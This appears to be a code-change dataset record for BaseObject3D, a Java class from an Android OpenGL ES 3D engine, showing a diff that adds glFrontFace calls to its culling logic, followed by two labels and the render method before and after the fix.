mIsVisible = true; protected boolean mShowBoundingVolume = false; protected int mDrawingMode = GLES20.GL_TRIANGLES; protected int mElementsBufferType = GLES20.GL_UNSIGNED_INT; protected boolean mIsContainerOnly = true; protected int mPickingColor; protected boolean mIsPickingEnabled = false; protected float[] mPickingColorArray; protected boolean mFrustumTest = false; protected boolean mIsInFrustum; protected boolean mRenderChildrenAsBatch = false; protected boolean mIsPartOfBatch = false; protected boolean mManageMaterial = true; protected boolean mEnableBlending = false; protected int mBlendFuncSFactor; protected int mBlendFuncDFactor; protected boolean mEnableDepthTest = true; protected boolean mEnableDepthMask = true; public BaseObject3D() { super(); mChildren = new ArrayList<BaseObject3D>(); mGeometry = new Geometry3D(); mLights = new Stack<ALight>(); } public BaseObject3D(String name) { this(); mName = name; } /** * Creates a BaseObject3D from a serialized file. A serialized file can be a BaseObject3D but also a * VertexAnimationObject3D. * * A serialized file can be created by the MeshExporter class. Example: <code> Cube cube = new Cube(2); MeshExporter exporter = new MeshExporter(cube); exporter.export("myobject.ser", ExportType.SERIALIZED); </code> This saves the serialized file to * the SD card. * * @param ser */ public BaseObject3D(SerializedObject3D ser) { this(); setData(ser); } /** * Passes the data to the Geometry3D instance. Vertex Buffer Objects (VBOs) will be created. * * @param vertexBufferInfo * The handle to the vertex buffer * @param normalBufferInfo * The handle to the normal buffer * @param textureCoords * A float array containing texture coordinates * @param colors * A float array containing color values (rgba) * @param indices * An integer array containing face indices */ public void setData(BufferInfo vertexBufferInfo, BufferInfo normalBufferInfo, float[] textureCoords, float[] colors, int[] indices) { mGeometry.setData(vertexBufferInfo, normalBufferInfo, textureCoords, colors, indices); mIsContainerOnly = false; mElementsBufferType = mGeometry.areOnlyShortBuffersSupported() ? GLES20.GL_UNSIGNED_SHORT : GLES20.GL_UNSIGNED_INT; } /** * Passes the data to the Geometry3D instance. Vertex Buffer Objects (VBOs) will be created. * * @param vertices * A float array containing vertex data * @param normals * A float array containing normal data * @param textureCoords * A float array containing texture coordinates * @param colors * A float array containing color values (rgba) * @param indices * An integer array containing face indices */ public void setData(float[] vertices, float[] normals, float[] textureCoords, float[] colors, int[] indices) { setData(vertices, GLES20.GL_STATIC_DRAW, normals, GLES20.GL_STATIC_DRAW, textureCoords, GLES20.GL_STATIC_DRAW, colors, GLES20.GL_STATIC_DRAW, indices, GLES20.GL_STATIC_DRAW); } /** * Passes serialized data to the Geometry3D instance. Vertex Buffer Objects (VBOs) will be created. * * A serialized file can be created by the MeshExporter class. Example: <code> Cube cube = new Cube(2); MeshExporter exporter = new MeshExporter(cube); exporter.export("myobject.ser", ExportType.SERIALIZED); </code> This saves the serialized file to * the SD card. * * @param ser */ public void setData(SerializedObject3D ser) { setData(ser.getVertices(), ser.getNormals(), ser.getTextureCoords(), ser.getColors(), ser.getIndices()); } public void setData(float[] vertices, int verticesUsage, float[] normals, int normalsUsage, float[] textureCoords, int textureCoordsUsage, float[] colors, int colorsUsage, int[] indices, int indicesUsage) { mGeometry.setData(vertices, verticesUsage, normals, normalsUsage, textureCoords, textureCoordsUsage, colors, colorsUsage, indices, indicesUsage); mIsContainerOnly = false; mElementsBufferType = mGeometry.areOnlyShortBuffersSupported() ? GLES20.GL_UNSIGNED_SHORT : GLES20.GL_UNSIGNED_INT; } /** * Executed before the rendering process starts */ protected void preRender() { mGeometry.validateBuffers(); } public void render(Camera camera, float[] projMatrix, float[] vMatrix, ColorPickerInfo pickerInfo) { render(camera, projMatrix, vMatrix, null, pickerInfo); } /** * Renders the object * * @param camera * The camera * @param projMatrix * The projection matrix * @param vMatrix * The view matrix * @param parentMatrix * This object's parent matrix * @param pickerInfo * The current color picker info. This is only used when an object is touched. */ public void render(Camera camera, float[] projMatrix, float[] vMatrix, final float[] parentMatrix, ColorPickerInfo pickerInfo) { if (!mIsVisible) return; preRender(); // -- move view matrix transformation first Matrix.setIdentityM(mMMatrix, 0); Matrix.setIdentityM(mScalematrix, 0); Matrix.scaleM(mScalematrix, 0, mScale.x, mScale.y, mScale.z); Matrix.setIdentityM(mRotateMatrix, 0); setOrientation(); if (mLookAt == null) { mOrientation.toRotationMatrix(mRotateMatrix); } else { System.arraycopy(mLookAtMatrix, 0, mRotateMatrix, 0, 16); } Matrix.translateM(mMMatrix, 0, -mPosition.x, mPosition.y, mPosition.z); Matrix.setIdentityM(mTmpMatrix, 0); Matrix.multiplyMM(mTmpMatrix, 0, mMMatrix, 0, mScalematrix, 0); Matrix.multiplyMM(mMMatrix, 0, mTmpMatrix, 0, mRotateMatrix, 0); if (parentMatrix != null) { Matrix.multiplyMM(mTmpMatrix, 0, parentMatrix, 0, mMMatrix, 0); System.arraycopy(mTmpMatrix, 0, mMMatrix, 0, 16); } Matrix.multiplyMM(mMVPMatrix, 0, vMatrix, 0, mMMatrix, 0); Matrix.multiplyMM(mMVPMatrix, 0, projMatrix, 0, mMVPMatrix, 0); mIsInFrustum = true; // only if mFrustrumTest == true it check frustum if (mFrustumTest && mGeometry.hasBoundingBox()) { BoundingBox bbox = mGeometry.getBoundingBox(); bbox.transform(mMMatrix); if (!camera.mFrustum.boundsInFrustum(bbox)) { mIsInFrustum = false; } } if (!mIsContainerOnly && mIsInFrustum) { mProjMatrix = projMatrix; if (!mDoubleSided) { GLES20.glEnable(GLES20.GL_CULL_FACE); - if (mBackSided) + if (mBackSided) { GLES20.glCullFace(GLES20.GL_FRONT); - else + GLES20.glFrontFace(GLES20.GL_CW); + } else { GLES20.glCullFace(GLES20.GL_BACK); + GLES20.glFrontFace(GLES20.GL_CCW); + } } if (mEnableBlending && !(pickerInfo != null && mIsPickingEnabled)) { GLES20.glEnable(GLES20.GL_BLEND); GLES20.glBlendFunc(mBlendFuncSFactor, mBlendFuncDFactor); } else { GLES20.glDisable(GLES20.GL_BLEND); } if (mEnableDepthTest) GLES20.glEnable(GLES20.GL_DEPTH_TEST); else GLES20.glDisable(GLES20.GL_DEPTH_TEST); GLES20.glDepthMask(mEnableDepthMask); if (pickerInfo != null && mIsPickingEnabled) { ColorPickerMaterial pickerMat = pickerInfo.getPicker().getMaterial(); pickerMat.setPickingColor(mPickingColorArray); pickerMat.useProgram(); pickerMat.setCamera(camera); pickerMat.setVertices(mGeometry.getVertexBufferInfo().bufferHandle); } else { if (!mIsPartOfBatch) { if (mMaterial == null) { RajLog.e("[" + this.getClass().getName() + "] This object can't renderer because there's no material attached to it."); throw new RuntimeException( "This object can't renderer because there's no material attached to it."); } mMaterial.useProgram(); setShaderParams(camera); mMaterial.bindTextures(); mMaterial.setTextureCoords(mGeometry.getTexCoordBufferInfo().bufferHandle, mHasCubemapTexture); mMaterial.setNormals(mGeometry.getNormalBufferInfo().bufferHandle); mMaterial.setCamera(camera); mMaterial.setVertices(mGeometry.getVertexBufferInfo().bufferHandle); } if (mMaterial.getUseColor()) mMaterial.setColors(mGeometry.getColorBufferInfo().bufferHandle); } GLES20.glBindBuffer(GLES20.GL_ARRAY_BUFFER, 0); if (pickerInfo == null) { mMaterial.setMVPMatrix(mMVPMatrix); mMaterial.setModelMatrix(mMMatrix); mMaterial.setViewMatrix(vMatrix); GLES20.glBindBuffer(GLES20.GL_ELEMENT_ARRAY_BUFFER, mGeometry.getIndexBufferInfo().bufferHandle); fix.android.opengl.GLES20.glDrawElements(mDrawingMode, mGeometry.getNumIndices(), mElementsBufferType, 0); GLES20.glBindBuffer(GLES20.GL_ELEMENT_ARRAY_BUFFER, 0); if (!mIsPartOfBatch && !mRenderChildrenAsBatch) { mMaterial.unbindTextures(); } } else if (pickerInfo != null && mIsPickingEnabled) { ColorPickerMaterial pickerMat = pickerInfo.getPicker().getMaterial(); pickerMat.setMVPMatrix(mMVPMatrix); pickerMat.setModelMatrix(mMMatrix); pickerMat.setViewMatrix(vMatrix); GLES20.glBindBuffer(GLES20.GL_ELEMENT_ARRAY_BUFFER, mGeometry.getIndexBufferInfo().bufferHandle); fix.android.opengl.GLES20.glDrawElements(mDrawingMode, mGeometry.getNumIndices(), mElementsBufferType, 0); GLES20.glBindBuffer(GLES20.GL_ELEMENT_ARRAY_BUFFER, 0); pickerMat.unbindTextures(); } GLES20.glDisable(GLES20.GL_CULL_FACE); GLES20.glDisable(GLES20.GL_BLEND); GLES20.glDisable(GLES20.GL_DEPTH_TEST); } if (mShowBoundingVolume) { if (mGeometry.hasBoundingBox()) mGeometry.getBoundingBox().drawBoundingVolume(camera, projMatrix, vMatrix, mMMatrix); if (mGeometry.hasBoundingSphere()) mGeometry.getBoundingSphere().drawBoundingVolume(camera, projMatrix, vMatrix, mMMatrix); } // Draw children without frustum test for (int i = 0, j = mChildren.size(); i < j; i++) mChildren.get(i).render(camera, projMatrix, vMatrix, mMMatrix, pickerInfo); if (mRenderChildrenAsBatch) { mMaterial.unbindTextures(); } } /** * Optimized version of Matrix.rotateM(). Apparently the native version does a lot of float[] allocations. * * @see http://groups.google.com/group/android-developers/browse_thread/thread/b30dd2a437cfb076?pli=1 * * @param m * The matrix * @param mOffset * Matrix offset * @param a * The angle * @param x * x axis * @param y * y axis * @param z * z axis */ protected void rotateM(float[] m, int mOffset, float a, float x, float y, float z) { Matrix.setIdentityM(mRotateMatrixTmp, 0); Matrix.setRotateM(mRotateMatrixTmp, 0, a, x, y, z); System.arraycopy(m, 0, mTmpMatrix, 0, 16); Matrix.multiplyMM(m, mOffset, mTmpMatrix, mOffset, mRotateMatrixTmp, 0); } /** * This is where the parameters for the shaders are set. It is called every frame. * * @param camera */ protected void setShaderParams(Camera camera) { mMaterial.setLightParams(); }; /** * Adds a texture to this object * * @parameter textureInfo */ public void addTexture(TextureInfo textureInfo) { if (mMaterial == null) { RajLog.e("[" + getClass().getName() + "] Material is null. Please add a material before adding a texture."); throw new RuntimeException("Material is null. Please add a material first."); } if (mLights.size() > 0 && textureInfo.getTextureType() != TextureType.SPHERE_MAP) { mMaterial.setUseColor(false); } mMaterial.addTexture(textureInfo); } public void removeTexture(TextureInfo textureInfo) { mMaterial.removeTexture(textureInfo); } protected void checkGlError(String op) { int error; while ((error = GLES20.glGetError()) != GLES20.GL_NO_ERROR) { RajLog.e(op + ": glError " + error + " in class " + this.getClass().getName()); throw new RuntimeException(op + ": glError " + error); } } /** * The reload method is called whenever the OpenGL context needs to be re-created. When the OpenGL context was lost, * the vertex, uv coord, index etc data needs to be re-uploaded. */ public void reload() { if (!mIsContainerOnly) { if (mManageMaterial) mMaterial.reload(); mGeometry.reload(); } for (int i = 0, j = mChildren.size(); i < j; i++) mChildren.get(i).reload(); if (mGeometry.hasBoundingBox() && mGeometry.getBoundingBox().getVisual() != null) mGeometry.getBoundingBox().getVisual().reload(); if (mGeometry.hasBoundingSphere() && mGeometry.getBoundingSphere().getVisual() != null) mGeometry.getBoundingSphere().getVisual().reload(); } public void isContainer(boolean isContainer) { mIsContainerOnly = isContainer; } public boolean isContainer() { return mIsContainerOnly; } /** * Maps screen coordinates to object coordinates * * @param x * @param y * @param viewportWidth * @param viewportHeight * @param eyeZ */ public void setScreenCoordinates(float x, float y, int viewportWidth, int viewportHeight, float eyeZ) { float[] r1 = new float[16]; int[] viewport = new int[] { 0, 0, viewportWidth, viewportHeight }; float[] modelMatrix = new float[16]; Matrix.setIdentityM(modelMatrix, 0); GLU.gluUnProject(x, viewportHeight - y, 0.0f, modelMatrix, 0, mProjMatrix, 0, viewport, 0, r1, 0); setPosition(r1[0] * eyeZ, r1[1] * -eyeZ, 0); } public float[] getModelMatrix() { return mMMatrix; } public boolean isDoubleSided() { return mDoubleSided; } public boolean isBackSided() { return mBackSided; } public boolean isVisible() { return mIsVisible; } public void setDoubleSided(boolean doubleSided) { this.mDoubleSided = doubleSided; } public void setBackSided(boolean backSided) { this.mBackSided = backSided; } public boolean isTransparent() { return mTransparent; } /** * Use this together with the alpha channel when calling BaseObject3D.setColor(): 0xaarrggbb. So for 50% transparent * red, set transparent to true and call: * <code>setColor(0x7fff0000);</code> * * @param transparent */ public void setTransparent(boolean value) { this.mTransparent = value; mEnableBlending = value; setBlendFunc(GLES20.GL_SRC_ALPHA, GLES20.GL_ONE_MINUS_SRC_ALPHA); mEnableDepthMask = !value; } public void setLights(Stack<ALight> lights) { mLights = lights; for (int i = 0; i < mChildren.size(); ++i) mChildren.get(i).setLights(lights); if (mMaterial != null) mMaterial.setLights(mLights); } /** * Adds a light to this object. * * @param light */ public void addLight(ALight light) { mLights.add(light); for (int i = 0; i < mChildren.size(); ++i) mChildren.get(i).setLights(mLights); if (mMaterial != null) mMaterial.setLights(mLights); } /** * @deprecated Use addLight() instead * @param light */ @Deprecated public void setLight(ALight light) { addLight(light); } /** * @deprecated use getLight(int index) instead * @return */ @Deprecated public ALight getLight() { return mLights.get(0); } public ALight getLight(int index) { return mLights.get(index); } public int getDrawingMode() { return mDrawingMode; } /** * Sets the OpenGL drawing mode. GLES20.GL_TRIANGLES is the default. Other values can be GL_LINES, GL_LINE_LOOP, * GL_LINE_LOOP, GL_TRIANGLE_FAN, GL_TRIANGLE_STRIP * * * @param drawingMode */ public void setDrawingMode(int drawingMode) { this.mDrawingMode = drawingMode; } /** * Compares one object's depth to another object's depth */ public int compareTo(BaseObject3D another) { if (mForcedDepth) return -1; if (mPosition.z < another.getZ()) return 1; else if (mPosition.z > another.getZ()) return -1; else return 0; } public void addChild(BaseObject3D child) { mChildren.add(child); if (mRenderChildrenAsBatch) child.setPartOfBatch(true); } public boolean removeChild(BaseObject3D child) { return mChildren.remove(child); } public int getNumChildren() { return mChildren.size(); } public BaseObject3D getChildAt(int index) { return mChildren.get(index); } public BaseObject3D getChildByName(String name) { for (int i = 0, j = mChildren.size(); i < j; i++) if (mChildren.get(i).getName().equals(name)) return mChildren.get(i); return null; } public Geometry3D getGeometry() { return mGeometry; } public void setMaterial(AMaterial material) { setMaterial(material, true); material.setLights(mLights); } public AMaterial getMaterial() { return mMaterial; } public void setMaterial(AMaterial material, boolean copyTextures) { if (mMaterial != null && copyTextures) mMaterial.copyTexturesTo(material); else if (mMaterial != null && !copyTextures) mMaterial.getTextureInfoList().clear(); mMaterial = null; mMaterial = material; } public void setName(String name) { mName = name; } public String getName() { return mName; } public boolean isForcedDepth() { return mForcedDepth; } public void setForcedDepth(boolean forcedDepth) { this.mForcedDepth = forcedDepth; } public ArrayList<TextureInfo> getTextureInfoList() { ArrayList<TextureInfo> ti = mMaterial.getTextureInfoList(); for (int i = 0, j = mChildren.size(); i < j; i++) ti.addAll(mChildren.get(i).getTextureInfoList()); return ti; } public SerializedObject3D toSerializedObject3D() { SerializedObject3D ser = new SerializedObject3D( mGeometry.getVertices() != null ? mGeometry.getVertices().capacity() : 0, mGeometry.getNormals() != null ? mGeometry.getNormals().capacity() : 0, mGeometry.getTextureCoords() != null ? mGeometry.getTextureCoords().capacity() : 0, mGeometry.getColors() != null ? mGeometry.getColors().capacity() : 0, mGeometry.getIndices() != null ? mGeometry.getIndices().capacity() : 0); int i; if (mGeometry.getVertices() != null) for (i = 0; i < mGeometry.getVertices().capacity(); i++) ser.getVertices()[i] = mGeometry.getVertices().get(i); if (mGeometry.getNormals() != null) for (i = 0; i < mGeometry.getNormals().capacity(); i++) ser.getNormals()[i] = mGeometry.getNormals().get(i); if (mGeometry.getTextureCoords() != null) for (i = 0; i < mGeometry.getTextureCoords().capacity(); i++) ser.getTextureCoords()[i] = mGeometry.getTextureCoords().get(i); if (mGeometry.getColors() != null) for (i = 0; i < mGeometry.getColors().capacity(); i++) ser.getColors()[i] = mGeometry.getColors().get(i); if (!mGeometry.areOnlyShortBuffersSupported()) { IntBuffer buff = (IntBuffer) mGeometry.getIndices(); for (i = 0; i < mGeometry.getIndices().capacity(); i++) ser.getIndices()[i] = buff.get(i); } else { ShortBuffer buff = (ShortBuffer) mGeometry.getIndices(); for (i = 0; i < mGeometry.getIndices().capacity(); i++) ser.getIndices()[i] = buff.get(i); } return ser; } protected void cloneTo(BaseObject3D clone, boolean copyMaterial) { clone.getGeometry().copyFromGeometry3D(mGeometry); clone.isContainer(mIsContainerOnly); if (copyMaterial) clone.setMaterial(mMaterial, false); clone.mElementsBufferType = mGeometry.areOnlyShortBuffersSupported() ? GLES20.GL_UNSIGNED_SHORT : GLES20.GL_UNSIGNED_INT; clone.mTransparent = this.mTransparent; clone.mEnableBlending = this.mEnableBlending; clone.mBlendFuncSFactor = this.mBlendFuncSFactor; clone.mBlendFuncDFactor = this.mBlendFuncDFactor; clone.mEnableDepthTest = this.mEnableDepthTest; clone.mEnableDepthMask = this.mEnableDepthMask; } public BaseObject3D clone(boolean copyMaterial) { BaseObject3D clone = new BaseObject3D(); cloneTo(clone, copyMaterial); return clone; } public BaseObject3D clone() { return clone(true); } public void setVisible(boolean visible) { mIsVisible = visible; } public void setColor(int color) { setColor(color, false); } public void setColor(int color, boolean createNewBuffer) { mGeometry.setColor(Color.red(color) / 255f, Color.green(color) / 255f, Color.blue(color) / 255f, Color.alpha(color) / 255f, createNewBuffer); if (mMaterial != null) { mMaterial.setUseColor(true); } } public void setColor(Number3D color) { setColor(Color.rgb((int) (color.x * 255), (int) (color.y * 255), (int) (color.z * 255))); } public int getPickingColor() { return mPickingColor; } public void setPickingColor(int pickingColor) { if (mPickingColorArray == null) mPickingColorArray = new float[4]; this.mPickingColor = pickingColor; mPickingColorArray[0] = Color.red(pickingColor) / 255f; mPickingColorArray[1] = Color.green(pickingColor) / 255f; mPickingColorArray[2] = Color.blue(pickingColor) / 255f; mPickingColorArray[3] = Color.alpha(pickingColor) / 255f; mIsPickingEnabled = true; } public void setShowBoundingVolume(boolean showBoundingVolume) { this.mShowBoundingVolume = showBoundingVolume; } public float[] getRotationMatrix() { return mRotateMatrix; } public void setFrustumTest(boolean value) { mFrustumTest = value; } public void accept(INodeVisitor visitor) { visitor.apply(this); } public boolean isInFrustum() { return mIsInFrustum; } public boolean getRenderChildrenAsBatch() { return mRenderChildrenAsBatch; } public void setRenderChildrenAsBatch(boolean renderChildrenAsBatch) { this.mRenderChildrenAsBatch = renderChildrenAsBatch; } public boolean isPartOfBatch() { return mIsPartOfBatch; } public void setPartOfBatch(boolean isPartOfBatch) { this.mIsPartOfBatch = isPartOfBatch; } public boolean getManageMaterial() { return mManageMaterial; } public void setManageMaterial(boolean manageMaterial) { this.mManageMaterial = manageMaterial; } public void setBlendingEnabled(boolean value) { mEnableBlending = value; } public boolean isBlendingEnabled() { return mEnableBlending; } public void setBlendFunc(int sFactor, int dFactor) { mBlendFuncSFactor = sFactor; mBlendFuncDFactor = dFactor; } public void setDepthTestEnabled(boolean value) { mEnableDepthTest = value; } public boolean isDepthTestEnabled() { return mEnableDepthTest; } public void setDepthMaskEnabled(boolean value) { mEnableDepthMask = value; } public boolean isDepthMaskEnabled() { return mEnableDepthMask; } public void destroy() { if (mLights != null) mLights.clear(); if (mGeometry != null) mGeometry.destroy(); if (mMaterial != null) mMaterial.destroy(); mLights = null; mMaterial = null; mGeometry = null; for (int i = 0, j = mChildren.size(); i < j; i++) mChildren.get(i).destroy(); mChildren.clear(); } }
false
true
public void render(Camera camera, float[] projMatrix, float[] vMatrix, final float[] parentMatrix, ColorPickerInfo pickerInfo) { if (!mIsVisible) return; preRender(); // -- move view matrix transformation first Matrix.setIdentityM(mMMatrix, 0); Matrix.setIdentityM(mScalematrix, 0); Matrix.scaleM(mScalematrix, 0, mScale.x, mScale.y, mScale.z); Matrix.setIdentityM(mRotateMatrix, 0); setOrientation(); if (mLookAt == null) { mOrientation.toRotationMatrix(mRotateMatrix); } else { System.arraycopy(mLookAtMatrix, 0, mRotateMatrix, 0, 16); } Matrix.translateM(mMMatrix, 0, -mPosition.x, mPosition.y, mPosition.z); Matrix.setIdentityM(mTmpMatrix, 0); Matrix.multiplyMM(mTmpMatrix, 0, mMMatrix, 0, mScalematrix, 0); Matrix.multiplyMM(mMMatrix, 0, mTmpMatrix, 0, mRotateMatrix, 0); if (parentMatrix != null) { Matrix.multiplyMM(mTmpMatrix, 0, parentMatrix, 0, mMMatrix, 0); System.arraycopy(mTmpMatrix, 0, mMMatrix, 0, 16); } Matrix.multiplyMM(mMVPMatrix, 0, vMatrix, 0, mMMatrix, 0); Matrix.multiplyMM(mMVPMatrix, 0, projMatrix, 0, mMVPMatrix, 0); mIsInFrustum = true; // only if mFrustrumTest == true it check frustum if (mFrustumTest && mGeometry.hasBoundingBox()) { BoundingBox bbox = mGeometry.getBoundingBox(); bbox.transform(mMMatrix); if (!camera.mFrustum.boundsInFrustum(bbox)) { mIsInFrustum = false; } } if (!mIsContainerOnly && mIsInFrustum) { mProjMatrix = projMatrix; if (!mDoubleSided) { GLES20.glEnable(GLES20.GL_CULL_FACE); if (mBackSided) GLES20.glCullFace(GLES20.GL_FRONT); else GLES20.glCullFace(GLES20.GL_BACK); } if (mEnableBlending && !(pickerInfo != null && mIsPickingEnabled)) { GLES20.glEnable(GLES20.GL_BLEND); GLES20.glBlendFunc(mBlendFuncSFactor, mBlendFuncDFactor); } else { GLES20.glDisable(GLES20.GL_BLEND); } if (mEnableDepthTest) GLES20.glEnable(GLES20.GL_DEPTH_TEST); else GLES20.glDisable(GLES20.GL_DEPTH_TEST); GLES20.glDepthMask(mEnableDepthMask); if (pickerInfo != null && mIsPickingEnabled) { ColorPickerMaterial pickerMat = pickerInfo.getPicker().getMaterial(); pickerMat.setPickingColor(mPickingColorArray); pickerMat.useProgram(); pickerMat.setCamera(camera); pickerMat.setVertices(mGeometry.getVertexBufferInfo().bufferHandle); } else { if (!mIsPartOfBatch) { if (mMaterial == null) { RajLog.e("[" + this.getClass().getName() + "] This object can't renderer because there's no material attached to it."); throw new RuntimeException( "This object can't renderer because there's no material attached to it."); } mMaterial.useProgram(); setShaderParams(camera); mMaterial.bindTextures(); mMaterial.setTextureCoords(mGeometry.getTexCoordBufferInfo().bufferHandle, mHasCubemapTexture); mMaterial.setNormals(mGeometry.getNormalBufferInfo().bufferHandle); mMaterial.setCamera(camera); mMaterial.setVertices(mGeometry.getVertexBufferInfo().bufferHandle); } if (mMaterial.getUseColor()) mMaterial.setColors(mGeometry.getColorBufferInfo().bufferHandle); } GLES20.glBindBuffer(GLES20.GL_ARRAY_BUFFER, 0); if (pickerInfo == null) { mMaterial.setMVPMatrix(mMVPMatrix); mMaterial.setModelMatrix(mMMatrix); mMaterial.setViewMatrix(vMatrix); GLES20.glBindBuffer(GLES20.GL_ELEMENT_ARRAY_BUFFER, mGeometry.getIndexBufferInfo().bufferHandle); fix.android.opengl.GLES20.glDrawElements(mDrawingMode, mGeometry.getNumIndices(), mElementsBufferType, 0); GLES20.glBindBuffer(GLES20.GL_ELEMENT_ARRAY_BUFFER, 0); if (!mIsPartOfBatch && !mRenderChildrenAsBatch) { mMaterial.unbindTextures(); } } else if (pickerInfo != null && mIsPickingEnabled) { ColorPickerMaterial pickerMat = pickerInfo.getPicker().getMaterial(); pickerMat.setMVPMatrix(mMVPMatrix); pickerMat.setModelMatrix(mMMatrix); pickerMat.setViewMatrix(vMatrix); GLES20.glBindBuffer(GLES20.GL_ELEMENT_ARRAY_BUFFER, mGeometry.getIndexBufferInfo().bufferHandle); fix.android.opengl.GLES20.glDrawElements(mDrawingMode, mGeometry.getNumIndices(), mElementsBufferType, 0); GLES20.glBindBuffer(GLES20.GL_ELEMENT_ARRAY_BUFFER, 0); pickerMat.unbindTextures(); } GLES20.glDisable(GLES20.GL_CULL_FACE); GLES20.glDisable(GLES20.GL_BLEND); GLES20.glDisable(GLES20.GL_DEPTH_TEST); } if (mShowBoundingVolume) { if (mGeometry.hasBoundingBox()) mGeometry.getBoundingBox().drawBoundingVolume(camera, projMatrix, vMatrix, mMMatrix); if (mGeometry.hasBoundingSphere()) mGeometry.getBoundingSphere().drawBoundingVolume(camera, projMatrix, vMatrix, mMMatrix); } // Draw children without frustum test for (int i = 0, j = mChildren.size(); i < j; i++) mChildren.get(i).render(camera, projMatrix, vMatrix, mMMatrix, pickerInfo); if (mRenderChildrenAsBatch) { mMaterial.unbindTextures(); } }
public void render(Camera camera, float[] projMatrix, float[] vMatrix, final float[] parentMatrix, ColorPickerInfo pickerInfo) { if (!mIsVisible) return; preRender(); // -- move view matrix transformation first Matrix.setIdentityM(mMMatrix, 0); Matrix.setIdentityM(mScalematrix, 0); Matrix.scaleM(mScalematrix, 0, mScale.x, mScale.y, mScale.z); Matrix.setIdentityM(mRotateMatrix, 0); setOrientation(); if (mLookAt == null) { mOrientation.toRotationMatrix(mRotateMatrix); } else { System.arraycopy(mLookAtMatrix, 0, mRotateMatrix, 0, 16); } Matrix.translateM(mMMatrix, 0, -mPosition.x, mPosition.y, mPosition.z); Matrix.setIdentityM(mTmpMatrix, 0); Matrix.multiplyMM(mTmpMatrix, 0, mMMatrix, 0, mScalematrix, 0); Matrix.multiplyMM(mMMatrix, 0, mTmpMatrix, 0, mRotateMatrix, 0); if (parentMatrix != null) { Matrix.multiplyMM(mTmpMatrix, 0, parentMatrix, 0, mMMatrix, 0); System.arraycopy(mTmpMatrix, 0, mMMatrix, 0, 16); } Matrix.multiplyMM(mMVPMatrix, 0, vMatrix, 0, mMMatrix, 0); Matrix.multiplyMM(mMVPMatrix, 0, projMatrix, 0, mMVPMatrix, 0); mIsInFrustum = true; // only if mFrustrumTest == true it check frustum if (mFrustumTest && mGeometry.hasBoundingBox()) { BoundingBox bbox = mGeometry.getBoundingBox(); bbox.transform(mMMatrix); if (!camera.mFrustum.boundsInFrustum(bbox)) { mIsInFrustum = false; } } if (!mIsContainerOnly && mIsInFrustum) { mProjMatrix = projMatrix; if (!mDoubleSided) { GLES20.glEnable(GLES20.GL_CULL_FACE); if (mBackSided) { GLES20.glCullFace(GLES20.GL_FRONT); GLES20.glFrontFace(GLES20.GL_CW); } else { GLES20.glCullFace(GLES20.GL_BACK); GLES20.glFrontFace(GLES20.GL_CCW); } } if (mEnableBlending && !(pickerInfo != null && mIsPickingEnabled)) { GLES20.glEnable(GLES20.GL_BLEND); GLES20.glBlendFunc(mBlendFuncSFactor, mBlendFuncDFactor); } else { GLES20.glDisable(GLES20.GL_BLEND); } if (mEnableDepthTest) GLES20.glEnable(GLES20.GL_DEPTH_TEST); else GLES20.glDisable(GLES20.GL_DEPTH_TEST); GLES20.glDepthMask(mEnableDepthMask); if (pickerInfo != null && mIsPickingEnabled) { ColorPickerMaterial pickerMat = pickerInfo.getPicker().getMaterial(); pickerMat.setPickingColor(mPickingColorArray); pickerMat.useProgram(); pickerMat.setCamera(camera); pickerMat.setVertices(mGeometry.getVertexBufferInfo().bufferHandle); } else { if (!mIsPartOfBatch) { if (mMaterial == null) { RajLog.e("[" + this.getClass().getName() + "] This object can't renderer because there's no material attached to it."); throw new RuntimeException( "This object can't renderer because there's no material attached to it."); } mMaterial.useProgram(); setShaderParams(camera); mMaterial.bindTextures(); mMaterial.setTextureCoords(mGeometry.getTexCoordBufferInfo().bufferHandle, mHasCubemapTexture); mMaterial.setNormals(mGeometry.getNormalBufferInfo().bufferHandle); mMaterial.setCamera(camera); mMaterial.setVertices(mGeometry.getVertexBufferInfo().bufferHandle); } if (mMaterial.getUseColor()) mMaterial.setColors(mGeometry.getColorBufferInfo().bufferHandle); } GLES20.glBindBuffer(GLES20.GL_ARRAY_BUFFER, 0); if (pickerInfo == null) { mMaterial.setMVPMatrix(mMVPMatrix); mMaterial.setModelMatrix(mMMatrix); mMaterial.setViewMatrix(vMatrix); GLES20.glBindBuffer(GLES20.GL_ELEMENT_ARRAY_BUFFER, mGeometry.getIndexBufferInfo().bufferHandle); fix.android.opengl.GLES20.glDrawElements(mDrawingMode, mGeometry.getNumIndices(), mElementsBufferType, 0); GLES20.glBindBuffer(GLES20.GL_ELEMENT_ARRAY_BUFFER, 0); if (!mIsPartOfBatch && !mRenderChildrenAsBatch) { mMaterial.unbindTextures(); } } else if (pickerInfo != null && mIsPickingEnabled) { ColorPickerMaterial pickerMat = pickerInfo.getPicker().getMaterial(); pickerMat.setMVPMatrix(mMVPMatrix); pickerMat.setModelMatrix(mMMatrix); pickerMat.setViewMatrix(vMatrix); GLES20.glBindBuffer(GLES20.GL_ELEMENT_ARRAY_BUFFER, mGeometry.getIndexBufferInfo().bufferHandle); fix.android.opengl.GLES20.glDrawElements(mDrawingMode, mGeometry.getNumIndices(), mElementsBufferType, 0); GLES20.glBindBuffer(GLES20.GL_ELEMENT_ARRAY_BUFFER, 0); pickerMat.unbindTextures(); } GLES20.glDisable(GLES20.GL_CULL_FACE); GLES20.glDisable(GLES20.GL_BLEND); GLES20.glDisable(GLES20.GL_DEPTH_TEST); } if (mShowBoundingVolume) { if (mGeometry.hasBoundingBox()) mGeometry.getBoundingBox().drawBoundingVolume(camera, projMatrix, vMatrix, mMMatrix); if (mGeometry.hasBoundingSphere()) mGeometry.getBoundingSphere().drawBoundingVolume(camera, projMatrix, vMatrix, mMMatrix); } // Draw children without frustum test for (int i = 0, j = mChildren.size(); i < j; i++) mChildren.get(i).render(camera, projMatrix, vMatrix, mMMatrix, pickerInfo); if (mRenderChildrenAsBatch) { mMaterial.unbindTextures(); } }
